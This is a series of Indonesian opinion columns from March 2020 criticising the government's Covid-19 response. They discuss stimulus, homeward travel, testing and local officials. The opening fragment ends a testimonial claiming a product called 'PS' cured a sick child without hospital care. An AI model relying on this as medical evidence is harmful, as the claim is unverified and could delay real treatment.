sakit. Pagi hari lanjut minumnya cuma jaraknya 2 jam. Alhamdulillah 3 hari membaik dan sehat. Tetap konsumsi PS. Alhamdulillah. Alhamdulillah.” “Stkali lagi maturnuwun tuk Formulator dan Prof B@s.” “Sy benar2 bersyukur, mungkin kalo ay Ndak kenal PS, sy sdh masukan anak sy ke RS PON, karna panik dan Ndak tau harus berbuat apa liat kondisi anak saat itu,benar2 pengalaman tak terlupakan,terima kasih Allah sdh pertemukan sy dgn PS dan saudara2 yg luar biasa.” “Semoga semakin byk lagi di luar sana yg tertolong dgn PS dan PS lbh di kenal masyarakat dan menerimanya, Aamiin.” (Bersambung) Penulis Wartawan Senior.

Stimulus Covid-19 Lambat, Realokasi Anggaran Percepat Krisis Ekonomi

By Anthony Budiawan Jakarta FNN – Selasa (31/03), Penanganan ekonomi terkait wabah Covid-19 seharusnya bisa lebih baik. Paket stimulus ekonomi yang diumumkan sejauh ini sangat tidak memadai untuk melawan dampak negatif Covid-19. Terkesan pemerintah kurang mampu membaca dan mengantisipasi wabah ini. Kebijakan yang diambil terkotak-kotak, alias piecemeal. Ketika wabah virus Corona mulai merebak, pemerintah langsung reaktif memberi paket stimulus yang kemudian dinamakan jilid pertama. Paket stimulus ini memberi insentif sektor pariwisata berupa diskon tiket pesawat bagi wisatawan asing dan domestic. Ada juga pembebasan pajak hotel dan restoran. Pemerintah sampai menggunakan jasa influencer untuk promosi paket ini stimulus ini. Katanya, jumlah pakel stimulus ini Rp 10,3 triliun. Tentu saja, stimulus ini tidak efektif, karena akhirnya penerbangan antar negara dihentikan untuk mengurangi penyebaran wabah dari luar negeri. Realisasi stimulus ini pasti tidak banyak arti untuk meningkatkan ekonomi. Paket stimulus jilid kedua pada intinya memberi insentif pajak penghasilan (PPh) pribadi (pasal 21) untuk industri tertentu, PPh badan (pasal 25) dan PPh impor (pasal 22). Insentif ini akan diberikan selama 6 bulan terhitung April hingga September 2020. Melihat perkembangan Covid-19 hingga saat ini, sepertinya banyak perusahaan akan mengalami rugi. Dampaknya, bantuan PPh Badan tidak banyak berarti apa-apa. Stimulus “subsidi” pajak ini, katanya akan membebani APBN Rp 22,9 triliun. Selain insentif ini belum dimulai, sehingga tidak memberi dampak apapun terhadap ekonomi. Selian itu, angka insentif juga patut dipertanyakan. Paket stimulus jilid pertama dan kedua fokus menjaga pertumbuhan ekonomi, agar tidak anjlok. Meskipun ternyata tidak efektif. Bahkan stimulus jilid kedua belum dimulai. Padahal, perkembangan wabah Covid-19 semakin memburuk. Tingkat terinfeksi Covid-19 meningkat tajam. Jumlah meninggal sangat tinggi. Sedangkan jumlah sembuh sangat rendah. Salah satu sebab utamanya karena fasilitas kesehatan, terutama Alat Pelindung Diri (APD) sangat tidak memadai. Ruang isolasi dan jumlah kamar sangat minim. APD dalam arti luas, untuk melindungi dokter, perawat dan tenaga nonmedis lainnya sangat memprihatinkan. Penyebab utama minimnya APD, karena pemerintah tidak ada dana untuk memenuhi kebutuhan tersebut. Dengan terpaksa, pemerintah melakukan realokasi mata anggaran APBN, dari dana pembangunan menjadi dana penanggulangan Covid-19. Bahkan, pengadaan barang yang masih dalam proses pun harus dibatalkan dulu. Realokasi mata anggaran tidak masuk definisi stimulus. Karena hanya realokasi. Stimulus (fiskal) intinya meningkatkan belanja negara atau mengurangi penerimaan negara. Untuk meningkatkan permintaan dan mendorong pertumbuhan ekonomi. Stimulus (fiskal) intinya memperlebar defisit APBN. Jadi, realokasi mata anggaran bukanlah stimulus. Sebaliknya, pemangkasan anggaran pembangunan (dan dana desa) akan membuat pertumbuhan ekonomi turun. Dampak negatifnya cukup besar. Bisa mempercepat krisis ekonomi. Perusahaan di sektor pembangunan akan mati karena anggarannya dihentikan. PHK dan pengangguran di daerah akan meningkat. Akhirnya, mereka harus di-support dan diberi bantuan juga oleh pemerintah. Dengan mengatakan seperti ini, bukan berarti peningkatan anggaran kesehatan tidak perlu. Sebaliknya, anggaran kesehatan harus dapat ditingkatkan sedemikian rupa besarnya, agar dapat menanggulangi wabah Covid-19 secara efektif. Dan, tambahan anggaran kesehatan ini bukan diambil dari anggaran lainnya (realokasi). Tambahan anggaran kesehatan ini harus bersumber dari tambahan defisit APBN. Besarannya juga harus siginifikan untuk memerangi Covid-19. Pemerintah harus berani mengatakan tambahan anggaran Covid-19 misalnya 1,5 persen dari PDB, atau sekitar Rp 250 triliun. Bahkan lebih kalau perlu. Whatever it takes. Dananya diambil dari Saldo Anggaran Lebih (SAL) yang masih nganggur di dompet pemerintah. Jumlahnya mencapai lebih dari Rp 270 triliun per akhir Februari 2020. Bayangkan, kekuatan yang dimiliki Rp 250 triliun untuk memerangi Covid-19. Pasti jauh lebih efektif dari yang sekarang ini. Anggaran pembangunan tetap bisa jalan, sekaligus menjaga pendapatan perusahaan dan pekerja di sektor tersebut di daerah. Pemerintah juga tidak perlu menambah utang karena dananya sudah ada. Selanjutnya, stimulus harus menyasar untuk membantu kemanusiaan. Membantu mereka yang kehilangan penghasilan. Membantu semua masyarakat yang terdampak wabah Covid-19. Dan stimulus juga harus menyasar pelaku usaha, termasuk usaha mandiri dan usaha mikro. Pemerintah harus menjamin kecukupan likuiditas pelaku usaha. Tentu bukan memberi pinjaman langsung ke pelaku usaha. Tetapi melalui sektor keuangan, bank dan nonbank. Bekerja sama dengan Bank Indonesia untuk pemenuhan likuiditasnya. Stimulus ini harus segera mungkin diumumkan dan dijalankan. Jangan terlalu lama-lama menghitungnya. Perhitungan stimulus harus dilakukan kebalikan dari penyusunan APBN, yang berdasarkan pada aktivitas dan program. Dalam kondisi darurat, tentu yang dimaksud bukan darurat sipil. Namun stimulus APBN dianggarkan secara global. Makanya negara lain bisa mengumumkan stimulus sangat cepat. Dalam waktu singkat, Amerika mengumumkan stimulus 2,2 triliun dolar AS (sekitar Rp 35.200 triliun). Begitu juga dengan Malaysia, yang memberi stimulus 250 miliar ringgit (sekitar Rp 937 triliun). Tetapi Indonesia sangat lambat karena harus menghitung secara rinci. Program A sekian, program B sekian, program C sekian. Ini kelamaan dan lemot cara kerjanya. Keburu wabah menyebar ke seluruh Indonesia, dan keburu rakyat kelaparan. Umumkan saja, Indonesia akan memberi stimulus Covid-19 tahap pertama sebesar 850 triliun, sekitar 5% dari APBN. Dengan begitu, rakyat akan merasa aman dan merasa terjamin. Pemerintah tinggal menyusun apa yang bisa diberikan kepada masyarakat dan dunia usaha dengan anggaran sebesar itu. Semoga pemerintah bisa bekerja dan memberikan kepastian secepatnya kepada masyarakat. Kasian. Masyarakat sedang menunggu. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

Mudik, Arus Penyebaran Covid-19 Yang Paling Efektif

By Tony Rosyid Jakarta FNN – Selasa (31/03). Beberapa hari lalu, ibu kandung di kampung telpon saya dan kasih kabar kalau adikku yang tinggal di Tangerang mudik. Gawat! Semua tahu, Tangerang masuk wilayah merah penyebaran covid-19. Kenapa mudik? Tanyaku dalam hati. Apakah adikku termasuk Orang Dalam Pengawasan (ODP) atau Pasien Dalam Pengawasan (PDP)? Tidak juga. Apakah dia, suami dan anaknya positif Covid-19? Nggak tahu. Bisa iya, bisa tidak. Sebab, yang positif Covid-19 tidak selalu ada gejala. Apalagi untuk orang yang usia muda. Khawatir, itu pasti. Ibu saya di kampung sudah tua. Usia di atas 70 tahun. Ayah saya bahkan lebih tua lagi usianya. Ayah juga punya diabet. Sekali tertular, bahaya. Semoga saja tidak. Itu harapan dan doaku kepada kedua orang tuaku. Kupesan kepada dua adikku yang lain. Jaga ayah dan ibu. Jangan sampai tertular. Berikan vitamin C dan E setiap hari. Pantau ayah-ibu dalam interaksi sosialnya. Begitu aku dengan serius meminta kepada kedua adikku tersebut. Yang mudik ke kampung ternyata bukan hanya keluarga adikku. Ada 876 bus yang telah membawa lebih dari 14 ribu penumpang dari Jakarta. Khususnya ke wilayah Jawa. Belum lagi yang menggunakan kendaraan pribadi, naik pesawat, dan naik kereta. Atas kejadian ini, presiden Jokowi dan Gubernur Anies Baswedan sangat menyayangkan. Diantara para pemudik, ada yang terbukti positif Covid-19. Itu yang sempat masuk rumah sakit. Itu yang ketahuan. Nah, yang nggak ketahuan gejalanya, diprediksi lebih banyak jumlahnya. Mereka inilah yang sesungguhnya menjadi agen dan duta penyebaran covid-19 di daerah. Tanpa mereka sadari. Bukankah ada nasehat Rasulullaah SAW bahwa, "saat anda dengar ada wabah di suatu wilayah, maka jangan ke sana. Saat anda berada di wilayah yang sedang dilanda wabah, ya jangan keluar”. Inilah teori yang namanya "lockdown". Untuk menghambat penyebaran covid-19 agar tak semakin meluas, Anies selaku Gubernur DKI mengimbau kepada orang-orang yang tinggal di DKI agar nggak mudik. Ternyata, imbauan ini kurang efektif. Arus mudik tetap saja padat. Di Jakarta nganggur. Anak-anak pada sekolah di rumah. Suami libur kerja. Pedagang keliling, nggak ada yang beli. Hidup di Jabodetabek, mahal biayanya. Mending pulang, ketemu keluarga dan teman di kampung. Biaya hidup pun lebih murah. Begitu kira-kira jalan pikiran para pemudik tersebut. Secara psikologis, dan terutama ekonomi, hidup untuk sementara waktu di kampung tentu lebih nyaman dan pasti hemat. Tapi para pemudik ini lupa, apakah mereka bebas dari covid-19? Jika satu orang saja diantara mereka ada yang positif Covid-19 (meski tanpa gejala), maka akan menular ke keluarga dan tetangga di kampung. Bisa puluhan, ratusan bahkan ribuan orang. Di kampung, ada anggota keluarga yang usianya gak muda lagi. Orang tua, paman, kakek-nenek dan tetangga. Sekali mereka tertular, risiko sangat besar. Alih-alih hemat pengeluaran, anggota keluarga atau tetangga malah jadi korban. Matek deh. Sementara, fasilitas medis di daerah tak selengkap di Jakarta. Belum lagi minimnya anggaran daerah dan jarak tempuh rumah sakit yang umumnya cukup jauh dari desa dan perkampungan. Inilah yang membuat sejumlah kepala daerah saat ini galau, panik dan akhirnya memutuskan untuk Lockdown. Provinsi Papua, Kota Tegal dan Kota Tasikmalaya sudah melakukannya. Sejumlah desa di Purbalingga dan Bali juga ada yang ikut lockdown. Melihat fakta penyebaran covid-19 yang semakin meluas di berbagi daerah, Anies berencana menutup bus Akap yang menjadi alat transportasi keluar masuk Jakarta. Tujuannya? Memotong jalur dan sirkulasi penyebaran covid-19. Dijadualkan jam 18.00 malam ini. Belum sempat dilaksanakan, lagi-lagi Anies dapat teguran. Kali ini dari Menko Maritim dan Investasi, Luhut Binsar Panjaitan (LBP). Mungkin faktor ekonomi jadi alasan. Kalau menteri urusan laut sudah ke darat, berarti negara sedang dalam keadaan genting. Anies pun mengurungkan rencananya. Sebagai gubernur, Anies tidak ingin kebijakannya berbenturan dengan Pemerintah Pusat. Ora elok. Nggak boleh ada dua kebijakan yang berbeda dalam satu negara. Lalu, bagaimana dengan penyebaran covid-19 yang semakin meluas ke daerah-daerah? Bahkan sudah ke 31 provinsi. Bagaimana pula cara menahan angka kematian yang terus meningkat? Simple saja jawabnya. Tanyakan saja LBP. Pasti "menteri segala urusan" ini punya jawabannya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Covid-19: Jangan Sampai Seperti Eropa dan Amerika

By Asyari Usman Jakarta, FNN - Per hari ini, Selasa (31/3/2020), total kasus positif Covid-19 di Indonesia ada 1,414. Jumlah ini “tak seberapa” kalau dilihat jumlah positif di sejumlah negara Eropa dan Amerika Serikat (AS). Tapi, berbagai pihak kaget sekali dengan angka Indonesia ini. Mereka merasa pertambahan kasus yang terkonfirmasi sangat cepat. Nah, bagaimana kalau lonjakan positif Corona di Amerika Serikat (AS) disodorkan kepada mereka? Pastilah semua lebih terperangah lagi. Betapa tidak! Dalam kurun waktu lebih-kurang tiga pekan saja, jumlah positif di AS bertambah seperti deret ukur dengan lompatan superjumbo. Mari kita masuk agak detail. Pada 10 Maret 2020, jumlah yang positif di AS masih di bawah 1,000 –tepatnya 994. Hari ini, 31 Maret 2020, jumlah itu menembus angka 161,000 lebih. Tepatnya, 161,357. Hanya dalam 20 hari saja. Kalau dibagi rata, berarti setiap hari bertambah 8,000 kasus. Selama 20 hari ini. Mengapa lonjakan yang gila-gilaan ini bisa terjadi? Seratus persen disebabkan test massal publik yang sangat lambat. Kelambatan itu berlangsung selama lebih kurang tiga (3) minggu, yaitu antara 15 Februari 2020 sampai minggu pertama Maret 2020. Waktu itu, pemeriksaan Covid-19 di AS hanya bisa sekitar 12 orang per hari. Barulah setelah digunakan alat test cepat (rapid test) yang akurat, ditemukanlah penyandang virus Corona dalam jumlah yang mencengangkan sekarang ini. Bagaimana dengan situasi di Indonesia? Sudahkah dipakai cara pemeriksaan cepat dan akurat? Semoga saja sudah. Jika memang sudah, kita semua pantas bersyukur kepada Yang Maha Kuasa karena jumlah positif Corona hanya 1,400-an saja. Tapi, tolong Anda carikan informasi, apakah rapid test massal yang terpercaya sudah dilaksanakan. Sekali lagi, kalau sudah, mari kita sama-sama bersujud syukur. Kalau belum? Ayo kita menengadahkan tangan kepada Allah Azza wa Jalla agar jumlah 1,400-an yang sangat “mencemaskan” banyak orang itu tidak akan sama seperti pengalaman AS, Spanyol, Italia, Jerman, Prancis, Inggris, dlsb. Kita berdoa agar jumlah positif 1,400-an itu bukan jumlah “puncak gunung es”. Seperti ketika AS menemukan ‘tip of iceberg’ itu pada 10 Maret 2020. Sekiranya nanti, na’uzibillah, angka 1,400-an tsb ternyata hanya “pembukaan” saja, maka ingatlah bahwa jumlah tenaga medis kita dan jumlah fasilitas perawatan yang ada, pastilah tidak sebanyak dan sebagus yang dimiliki AS atau negara-negara Eropa. Dan ingat juga bahwa dengan jumlah positif yang “tak seberapa” itu pun, fasilitas dan tenaga medis kita sudah kewalahan. Terutama fasilitas. Tak terbayangkan kalau nanti jumlah positif mencapai angka belasan ribu atau puluhan ribu, pada saat yang bersamaan. Mungkinkah fasilitas perawatan kita (ruang isolasi dan alat pelindung diri alias APD) cukup banyak tersedia? Kalau kita ikuti berita-berita yang ada di media umum maupun media sosial, plus broadcast-broadcast yang diunggah secara sporadis oleh para awak medis, kelihatannya kita tidak memiliki kemampuan untuk menangani pasien kritis dalam jumlah belasan ribu. Sekarang saja banyak yang menunggu antrian perawatan dan isolasi rumah sakit. Ruang isolasi dan ventilator (alat bantu pernafasan) tak cukup. Back-log (ekor) antrian itu tentu semakin panjang ketika kasus-kasus baru bermunculan. Ada rekaman video seorang dokter yang menjelaskan bahwa di RS tempat dia bekerja ada seorang pasien Covid-19 yang memerlukan peralatan ekstra. Dia menelefon 20 rumah sakit, tidak satu pun yang mau menerima. Si pasien berada dalam kondisi kritis. Ada lagi rekaman yang menjelaskan bahwa semua annggota tim medis, kecuali satu orang, menggunakan jas hujan sebagai APD. Sebelumnya, pemandangan seperti ini terjadi di mana-mana. Kemarin ada kabar bahwa APD asli sudah tiba di Indonesia dan sudah dibagi-bagikan ke berbagai daerah. Wallahu a’lam. Sekali lagi, berdoalah kita agar pengalaman buruk Eropa dan Amerika Serikat tidak terjadi di sini. Amin![] 31 Maret 2020 Penulis Wartawan Senior.

Ke Manakah Wali Kota Tangsel?

Oleh: Tjahja Gunawan Jakarta, FNN - Selasa (31/03). Selama merebaknya Virus China di negeri ini, warga Tangerang Selatan Provinsi Banten, tiba-tiba merasa kehilangan Wali Kota Tangsel Airin Rachmi Diany, yang dikenal luas berparas cantik. "Tumben nanya-nanya dia. Anda tiba-tiba jadi kepo?," Begitu komentar seorang rekan pada saya. Sebelumnya saya yang kebetulan tinggal di Tangsel, memang tidak pernah peduli dengan aktivitas Ibu Wali Kota ini. Sing penting, program pembangunan di wilayah Tangsel tetap berjalan. Jadi kalaupun misalnya Ibu Walkot ini sering bolak-balik ke LP Sukamiskin untuk menjenguk suaminya dis juga bukan urusan saya karena bukan termasuk wilayah publik. Tetapi sudah masuk ranah private Ibu Airin. "Nah, kenapa juga tiba-tiba Anda sekarang tanya keberadaan beliau ?" Komentar temen saya rada sengit. Rupanya dia mulai nge-gas. Lalu dengan nada pelan-pelan kepada teman ini saya katakan, sekarang ini kan sedang terjadi wabah global. Virus China atau Covid19 sedang menyebar ke mana-mana hingga ke seluruh antero dunia termasuk Indonesia dan Tangsel. Nah, sebagai salah satu daerah yang berdekatan dengan Ibu Kota Jakarta yang menjadi epicentrum penyebaran Virus China, warga Tangsel juga berhak untuk mengetahui informasi seputar Covid19 termasuk kebijakan serta langkah-langkah yang diambil Pemkot Tangsel. Hak warga ini diatur dan dijamin dalam UU No 14 Tahun 2008 tentang Keterbukaan Informasi Publik. Para kepala daerah di berbagai tempat lain, baik bupati, wali kota, maupun gubernur hadir terlihat oleh publik melakukan sesuatu untuk ikut berupaya mencegah penyebaran Virus China ini. Misalnya, Wali Kota Bogor Bima Arya. Walaupun dinyatakan positif Covid19, namun dia tetap muncul ke publik menampakan diri kemudian melalui video pendek yang disebar melalui medsos (WA) berkomunikasi dan berikirim kabar kepada masyarakat sekaligus memberi arahan kepada para pejabat di Pemkot Bogor. Demikian juga, Bupati Karawang Cellica Nurrachadiana, meski dinyatakan positif Covid19 namun dia tetap aktif berinteraksi dan berkomunikasi dengan masyarakat dan jajaran pejabat Pemkab Karawang melalui akun Instagramnya. Sebelumnya pada tanggal 3 Maret 2020, Bupati Karawang ini pernah mengunggah sejumlah foto saat mengikuti rapat di Sentul International Convention Center (SICC), Bogor. Salah satu foto yang diunggah di IG Ibu Bupati ini adalah pose sedang duduk bertiga antara Bupati Karawang, Wali Kota Tangsel dan Wali Kota Bogor saat rapat di SICC. Keterangan tertulis yang disertakan dalam foto-foto yang diunggah Bupati Karawang itu berbunyi: "Bismillah Senin kemarin (2/3), kami menghadiri FGD bersama Menko PMK, Kepala BNBP, Pa Gubernur, Kementerian PUPR, BBWS dan semua pihak terkait solusi penanganan banjir baik di Jawa Barat, DKI, dan Banten khususnya...." Airin Terpapar? Berdasarkan kronologi perjalanan dan riwayat kontak Bupati Karawang dan Wali Kota Bogor, patut diduga Virus China ini juga ikut menyebar kepada orang-orang yang pernah berinteraksi dengan mereka. Apakah itu berarti virus Covid 19 ikut menular pada Wali Kota Tangsel ? Wallohualam a'lam bhisawab. Saya tidak berspekulasi lebih jauh lagi. Namun jika merujuk pada keterangan Gubernur Jabar Ridwan Kamil disebutkan bahwa, di Jawa Barat ada empat klaster penyebaran virus corona. Klaster pertama Musyawarah Daerah (Musda) Himpunan Pengusaha Muda Indonesia (Hipmi) Jabar di Karawang tanggal 9 Maret 2020. Pasca acara ini, ada tujuh orang yang positif Covid19 diantaranya Bupati Karawang dan Wakil Wali Kota Bandung Yana Mulyana. Namun setelah melakukan isolasi diri, kini Yana Mulyana sudah dinyatakan negatif Covid19. Klaster kedua dan ketiga yaitu seminar bisnis syariah 25-28 Februari 2020 di Kabupaten Bogor dan Persidangan Sinode Tahunan Gereja Protestan di Indonesia bagian Barat (GPIB) 26-29 Februari 2020 di Hotel Aston Kota Bogor. Klaster keempat adalah seminar keagamaan di Lembang, Bandung Barat yang digelar pada 3-5 Maret 2020. Beberapa tokoh yang mengaku mempunyai akses kepada Wali Kota Tangsel menampik kalau Airin Rachmi Diany terpapar Virus China. "Sebab acara di SICC Bogor diselenggarakan tanggal 2 Maret 2020 atau sebelum Wali Kota Bogor Bima Arya mengadakan perjalanan ke luar negeri. Kehadiran Airin di SICC juga dilangsungkan sebelum acara HIPMI di Karawang dimana Bupati Karawang hadir di sana," kata seorang tokoh berusaha meyakinkan saya. Namun terlepas dari spekulasi terpapar tidaknya oleh Virus China, seharusnya Wali Kota Tangsel tampil di garda terdepan dalam menghadapi penyebaran virus yang mematikan ini. Apalagi setiap hari warga Tangsel yang terpapar Virus China terus bertambah. Hingga 30 Maret 2020 jam 15, jumlah warga Tangsel yang meninggal akibat Virus China sebanyak 6 orang, jumlah ODP (orang dalam pengawasan) 280 orang, PDP (pasien dalam pengawasan) 123 dan warga yang dinyatakan positif Covid19 sebanyak 31 orang. Dikritik Warga Sejumlah warga juga mengritik kinerja Pemkot Tangsel dalam menangani wabah Virus China ini. Salah satu tokoh warga Kedaung, Kecamatan Pamulang, Cak Kris, mengatakan jangan karena jabatannya sudah mau berakhir Walikota Airin malah jarang tampil didepan untuk perang melawan wabah Covid-19. “Harusnya diakhir masa jabatannya Wali Kota Airin aktif memimpin langsung penanganan wabah Corona. Jangan Wakilnya terus yang tampil sementara Wali Kotanya gak jelas ada di mana. Harusnya dia membuktikan walaupun di akhir masa jabatannya, tapi dia tetap tampil memberikan pelayanan yang terbaik kepada warga masyarakatnya. Inipun kami melakukan penyemprotan disinfektan dengan urunan warga sendiri, ke mana Pemkot Tangsel hadir di tengah – tengah warganya? Boro– boro aksi penyemprotan disinfektan, mencari informasi terkait penanganan wabah Covid-19 ini saja susah banget. Saya sudah kritik tuh kemarin di medianya milik humas Tangsel, katanya Pamulang nol tidak ada penderita Corona, gak taunya sudah ada yang mati tuh pilot pesawat,” ujar Cak Kris sebagaimana dikutip MediaBantenCyber.co.id. Dalam situasi seperti sekarang Wali Kota Tangsel seharusnya bisa bergerak cepat dan mengambil keputusan berani namun akurat sesuai data dan fakta sebaran Virus Covid 19 di wilayah Tangsel. Ini jangankan bergerak cepat, Pemkot Tangsel tampaknya juga tidak mampu menyediakan data sebaran Virus Corona secara akurat dan real time. Dalam hal pemutakhiran data Covid19 di Tangsel, sangat boleh jadi Pemkot Tangsel hanya bersikap menunggu update data dari Satgas Covid 19 Pusat agar tidak overlaping. Namun, dalam pencegahan penyebaran Virus China ini, seharusnya Wali Kota Tangsel memimpin di depan termasuk mengomunikasikan langkah kongkret yang telah, sedang dan akan dilakukan selama masa Tanggap Darurat ini. Dalam situasi seperti sekarang justru Wakil Wali Kota Tangsel justru Benyamin Davnie yang kerap muncul ke permukaan. Dengan seringnya munculnya Benyamin Davnie dalam penanganan Virus Covid 19, justru menimbulkan prasangka politik yang kurang sedap. Pasalnya, Benyamin merupakan salah satu kandidat Calon Wali Kota Tangsel yang akan maju dalam Pilkada 2020. Sangat disayangkan kalau kemunculan Benyamin dalam penanganan penyebaran Virus Covid 19, dikaitkan dengan agenda politik Pilkada 2020. Itu sangat kontraproduktif. Selain itu, Pilkada 2020 juga sudah dinyatakan akan dimundurkan akibat adanya kasus wabah virus ini. Ini adalah kesepakatan tertulis antara Komisi II DPR dengan Mendagri dan KPU. Terkait peran kepala daerah, sebenarnya Mendagri Tito Karnavian telah menginstruksikan agar Gubernur maupun Walikota dan Bupati bisa langsung mengambil peran sebagai Ketua Gugus Tugas Percepatan Penanganan COVID-19 Daerah. Jabatan itu, kata Tito, tidak dapat didelegasikan kepada pejabat lain di daerah. Mendagri menekankan hal tersebut ketika menjelaskan Surat Edaran Nomor 440/12622/SJ tentang Pembentukan Gugus Tugas Percepatan Penanganan COVID-19 Daerah yang terbit Minggu (29/3) sebagaimana dikutip CNN Indonesia.com Oleh karena itu sekarang sudah saatnya Wali Kota Tangsel Airin Rachmi Diany memimpin langsung sebagai Ketua Gugus Tugas Percepatan Penanganan COVID-19 Daerah. Kemudian dia aktif turba dan atau mengkoordinasikan tugas dan tanggungjawabnya dengan unsur Muspida dan aparat keamanan lainnya. Jika saja Airin Rachmi Diany bisa all out membantu dan melayani masyarakat dalam melawan penyebaran Virus Covid 19, dia justru akan memiliki legacy di akhir masa jabatannya sebagai Wali Kota Tangsel. Ayo Bu Airin, sekarang saatnya ibu keluar dari "tempat persembunyian". Kecuali kalau Ibu terpapar Virus Covid 19, barulah tugas dan tanggungjawab bisa didelegasikan kepada Wakil Wali Kota Tangsel. Tapi, mudah-mudahan sih Ibu Airin selalu sehat walafiat. Aamiin. Penulis Wartawan Senior.

Tobat Nasional dari Kekuasaan Yang Buruk

By Dr. Ahmad Yani SH. MH. Jakarta FNN – Senin (30/03). Manusia abad 21 sedang diuji. Demikian potongan catatan yang saya baca beberapa waktu lalu. Terlebih lagi umat Islam. Ka'bah tempat menunaikan ibadah haji telah ditutup. Masjid di Indonesia sudah mulai kosong. Ulama tanggap menghadapi penyebaran wabah ini. MUI menyatakan sebaiknya daerah yang terkena wabah meniadakan sholat Jum’at untuk sementara waktu sampai wabah ini berhenti. Tetapi akses publik untuk keluar masuk wilayah masih terbuka. Potensi penyebaran antara wilayah besar, karena pemerintah tidak setanggap ulama menghadapi wabah ini. Ruang publik bagi kelas menengah masih terbuka. Mall, kafe dan tempat-tempat rekreasi lainnya. Di semua daerah belum ada yang ditutup. Namun Jum’at sebagai media untuk ibadah umat sudah ditiadakan untuk sementara waktu. Kenapa masjid lebih mengerti sains dari negara? Sains dan Agama tidak pernah berbenturan. Karena itu ulama lebih luas berpikirnya daripada negara. Negara hanya berpikir bagaimana meloloskan utang ke IMF. Bagaimana memberikan karpet merah kepada investor, dan bagaimana memuluskan ambisinya. Ulama memikirkan nasib umat dan manusia. Sementara pemerintah hanya ingin menyelamatkan ekonomi dan ambisinya. Kini kepanikan itu sudah meliputi seluruh Wilayah NKRI. Dalam waktu yang singkat, wabah covid-19 menyebar ke seluruh Indonesia. Hampir setiap daerah panik. Beberapa daerah mengambil langkah Lockdown sendiri-sendiri, namun dianulir lagi oleh pusat. Memang karantina - lockdown menjadi kewenangan pemerintah pusat. Penyakit yang sumbernya dari Wuhan, ibukota provinsi Hubei, di Cina itu, benar-benar menjadi wabah yang membuat panik seluruh dunia. Ini bala abad 21. Kepanikan kian meningkat, setelah 720.117 terinfeksi, 33.925 meninggal, dan 149.082 pasien dinyatakan sembuh. Di Indonesia sendiri sudah 1.285 kasus yang meninggal 114 orang yang sembuh 64 orang. Data ini terlihat bahwa bencana ini sedang mengepung dunia. Indonesia kini menjadi menjadi sasaran selanjutnya setelah China, Iran dan Italia. Meski bersumber dari China, penyebarannya di seluruh Wilayah di China tidak terjadi seperti di Indonesia. Kenapa Indonesia sedemikian cepat menyebar? Pemerintah Indonesia menganggap virus ini tidak penting , dengan candaan yang tidak lucu. Yang penting bagi pemerintah adalah ekonomi. Tatkala negara negara lain melakukan lockdown. Bahkan Presiden Filipina mengambil tindak tegas memecat pejabat yg meloloskan orang dan tenaga kerja asal cina masuk Filipina. Indonesia justruk sebaliknya. Memberikan karper merah buat datangnya TKA asal cina. Dengan jumawahnya, menteri segala urusan LBP membalas dengan tetap akan membuka pintu lebar bagi TKA asal cina. Ini semua untuk ekonomi. Ironis memang. Seharus nya nyawa rakyat yang menjadi prioriatas utama. Seandainya terjadi karantina kesehatan, dengan melakukan Lockdown beberapa daerah yang sudah masuk zona "darurat" seperti Jakarta, maka penyebaran virus bisa diatasi. Tetapi tak terbayangkan. Di tengah kepanikan yang luar biasa, ada menteri berkata "persiapan ibukota jalan terus". Rakyat menjerit karena tidak bisa cari makan, akibat melakukan isolasi mandiri. Namun negara tak peduli. Kalau negara melakukan Lockdown wilayah, maka negara bertanggung jawab untuk ketersediaan kebutuhan dasar warga. Namun untuk menghindari itu, pemerintah enggan melakukan karantina kesehatan. Seakan-akan membiarkan rakyat mati sendiri dengan wabah ini. Orang miskin tentu yang paling menderita. Ini adalah puncak kejahatan negara terhadap rakyatnya. Siapa yang kuat akan bertahan. Negara hanya menjadi "monster". Kegagapan pemerintah pusat berbanding terbalik dengan ketanggapan pemerintah DKI Jakarta. Anies Baswedan melakukan banyak upaya, hingga opsi Lockdown mengemuka di Jakarta untuk menghentikan keluar masuknya virus. Sekali lagi buzzer istana dan Menteri membully dan mengecam. Nyawa warga negara terancam. Pemerintah Pusat awalnya tidak setuju atas ketanggapan Pemda DKI Jakarta dalam mengambil tindakan dan langkah terencana serta terukur dalam rangka memutus mata rantai pencebaran Virus Covid – 19. Langkah pemungkas adalah karantina wilayah “Lockdown” untuk menyelamatkan rakyatnya atau warganya. Keputusan cepat dan tepat yang diambil Anies, diikuti oleh Gebernur Papua dan beberapa Gubernur lainnya serta Bupati dan walikota. Akhirnya Pemerintah Pusat mempersilahkan masing-masing daerah untuk memutuskan untuk melakukan karantina wilayah Sumber penyakit ini berasal dari kelas menengah ke atas. Mereka yang melakukan interaksi antar negara dan wilayah di Indonesia. Penyebarannya bukan dari rakyat kecil. Artinya, penyakit ini dari orang berkecukupan. Namun menghantam dan membunuh orang-orang miskin. Sebab dampaknya bagi ekonomi masyarakat kecil sangat besar. Orang-orang mapan memang tidak terlalu pusing. Untuk menyelamatkan diri, mereka bisa apa saja. Termasuk mengorbankan rakyat kecil. Tetapi disinilah kita dapat melihat kekuasaan itu bekerja. Untuk siapakah kekuasaan itu bekerja? Ambisinya sendiri? Atau untuk oligarki ekonomi? Kewajiban negara untuk melindungi rakyat Indonesia. UUD 1945 dalam pembukaannya menyatakan "Kemudian daripada itu untuk membentuk pemerintahan negara Indonesia yang melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa dan ikut melaksanakan ketertiban dunia yang berdasarkan pada kemerdekaan, perdamaian abadi dan keadilan sosial". Bunyi pembukaan UUD ini sangat jelas bahwa pemerintahan itu dibentuk untuk melindungi segenap bangsa dan rakyat. Ttaapi kenapa ketika rakyat butuh perlindungan dari wabah ini negara tidak hadir? Inilah masalah kita hari ini. Pemerintahan yang buruk, pengelolaan negara dipercayakan pada orang yang tidak punya nurani untuk melindungi warga negaranya. Jangan heran kalau bala dan bencana akan menjadi konsumsi sehari-hari, kalau kekuasaan yang model seperti ini masih berkuasa. Pemerintah Yang Buruk Sumber Malapetaka Hukum dijalankan oleh pemerintah. Kebijakan penting di negara dikendalikan oleh pemerintah, polisi, tentara dan seluruh kekuatan di bawah komando kekuasaan Presiden. Apabila semua itu dipegang oleh orang yang salah, maka akan menjadi malapetaka yang hebat. Sebab kekuasaan menjadi sumber kejahatan, dan sumber dari segala sumber kehancuran. Dalam sejarah, kekuasaan yang demikian itu hancur bersama dengan ambisinya. Namruz dan Fir’aun adalah sebagian kecil dari contoh penguasa zalim dan lalim 